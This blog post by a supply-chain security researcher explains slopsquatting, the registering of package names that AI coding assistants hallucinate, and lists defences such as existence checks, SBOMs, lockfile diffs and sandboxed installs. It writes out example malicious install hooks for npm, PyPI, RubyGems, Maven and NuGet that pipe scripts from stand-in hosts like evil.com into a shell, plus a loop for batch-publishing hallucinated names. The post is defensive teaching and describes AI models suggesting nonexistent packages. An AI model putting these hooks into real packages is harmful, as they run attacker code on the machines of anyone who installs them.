Search for a command to run...
Specialized in uncovering vulnerabilities within software supply chains and dependency ecosystems. Creator of SCAGoat and other open-source security tools. Speaker at Black Hat, DEF CON, and AppSec conferences with research on malicious package detection, dependency confusion, and CI/CD security.
No comments yet. Be the first to comment.
What the Axios malicious package contained, how it was published, and how teams can check GitHub, Intune, CrowdStrike, and Jamf.
As security researchers, we often analyze vulnerabilities in isolation. A Remote Code Execution (RCE) in a web app is one thing; sharepoint compromise in an enterprise cloud is another. But what happens when these two converge? To understand the true...
1. Introduction: The Attack of the Code Worm Imagine building a project with a set of Lego bricks, but one of the bricks is secretly malicious. Not only is it a bad piece, but it also has the ability to copy itself and sneak into all the other Lego s...
Static code analysis has come a long way from the days of simple string searches. With the rising complexity of applications and threats, our tooling has evolved to meet the demand for both precision and context-awareness. This blog takes you through...
In a startling turn of events, the widely-used Nx build system fell victim to a sophisticated supply chain attack. On August 26, 2025, malicious versions of the Nx packages were published to the npm registry, compromising the systems of potentially t...
Recently, companies are supercharging developer productivity with AI-powered IDEs and agents! Tools like GitHub Copilot and CursorAI are at the forefront of this exciting transformation, offering developers incredible coding assistance and automation features.
But wait, there's a twist! Some bad actors are exploiting AI "hallucinations," where tools like GitHub Copilot and CursorAI suggest fake package names, to launch slopsquatting attacks. This issue has gained new attention recently with the threat being given a catchy name – “slopsquatting,” created by security researcher Seth Larson – and a study by researchers at three universities showing a 20% chance in LLMs to suggest libraries and packages that don't exist.
In this example, I requested CursorAI to create a simple XML-to-JSON parser. It suggested using a package named
xml-js-parser, which, at the time of writing this blog, does not exist.
In this blog, we'll dive into the fascinating world of slopsquatting attacks and, most importantly, show you how to keep your projects safe!
Attackers are scraping non-existent package names from AI-powered IDE suggestions, registering those packages across npm, PyPI, RubyGems, Maven Central, and NuGet, and embedding malicious payloads in install hooks. But don't worry! To defend against slopsquatting, you can manually validate package existence and metadata, use SBOMs and lockfile checks, run installs in sandboxes with network capture, scan for hidden scripts, and adjust LLM settings to reduce hallucinations.
Image from research paper : https://arxiv.org/pdf/2406.10279
AI-powered IDEs ("vibe-coding" tools) like GitHub Copilot, CursorAI, and ChatGPT-4 occasionally suggest packages that don’t exist. Attackers collect these hallucinations and register them, priming the ecosystem for slopsquatting.
Attackers automate package creation via registry APIs:
# Example: Batch-register hallucinated npm names
for name in $(cat hallucinations.txt); do
npm publish --access public --tag latest $name
done
Each package is populated with README, version tags, and even fake contributors to bypass cursory checks.
Slopsquatted packages embed hidden code in install scripts:
// package.json
{
"name": "dangerous-libx",
"scripts": {
"postinstall": "node -e \"require('fs').writeFileSync('/tmp/pwned','you_are_hacked')\""
}
}
On npm install dangerous-libx, the malicious script executes silently.
Before adding any AI-recommended dependency, follow these steps:
Verify Existence
npm view <package-name> || echo "Package not found"
Inspect Manifests
package.json, setup.py, or .gemspec for valid license, author, and version history.Check Popularity
npm info <pkg> | grep "downloads"
pip index versions <pkg>
Review Source Code
git clone https://registry.example.com/<pkg>.git
grep -R "postinstall\|system(" *
Risk: Unrestricted install hooks.
Payload Example:
{
"name": "lodash-lite-utils",
"version": "1.0.3",
"scripts": {
"postinstall": "curl -s https://evil.sh/install.sh | bash"
}
}
Detection Snippet:
npm audit --json | jq '.advisories'
Risk: Code execution in setup.py.
# setup.py of slopsquatted xmltodate
from setuptools import setup
import os; os.system("curl http://evil.com/pwn.py | python3")
setup(name='xmltodate', version='0.0.1')
Audit Command:
pip install safety && safety check
Risk: extensions hook.
# rails-helperzz.gemspec
Gem::Specification.new do |s|
s.name = 'rails-helperzz'
s.extensions = ['ext/install.rb']
end
# ext/install.rb
system('bash -c "curl http://evil.sh/attack.sh | bash"')
Risk: Static initializer abuse.
// In a malicious Jar
static { Runtime.getRuntime().exec("sh -c 'curl http://malicious-link.com/p.sh | sh'"); }
Risk: Remote DLL loading.
// In a .NET slopsquatted package
Assembly.LoadFrom("http://evil.com/mal.dll");
syft . -o cyclonedx-json > sbom.json #syft is a tool to generate SBOM
cyclonedx-pipeline validate sbom.json
Use policy engines (Open Policy Agent) to allow-list known good packages.
diff < (jq -r '.dependencies | keys[]' package.json) <(jq -r '.lockedDependencies | keys[]' package-lock.json)
Reject builds if unexpected dependencies appear.
docker run --rm -it node:16 bash -c "npm install your-app && tcpdump -i eth0"
Alert on any outbound connections to unknown domains.
Temperature Tuning: Lower temp in LLMs.
Post-Validation Script:
for pkg in $(jq -r '.aiSuggestions[]'); do
curl -s https://registry.npmjs.org/$pkg > /dev/null || echo "$pkg hallucinated"
done
By adopting these measures, you can significantly strengthen your defenses against slopsquatting attacks and safeguard your software development processes from potential vulnerabilities. You can defend your codebase by validating every AI-suggested dependency, leveraging SBOMs, enforcing lockfile checks, sandboxing installs, and tuning your LLM.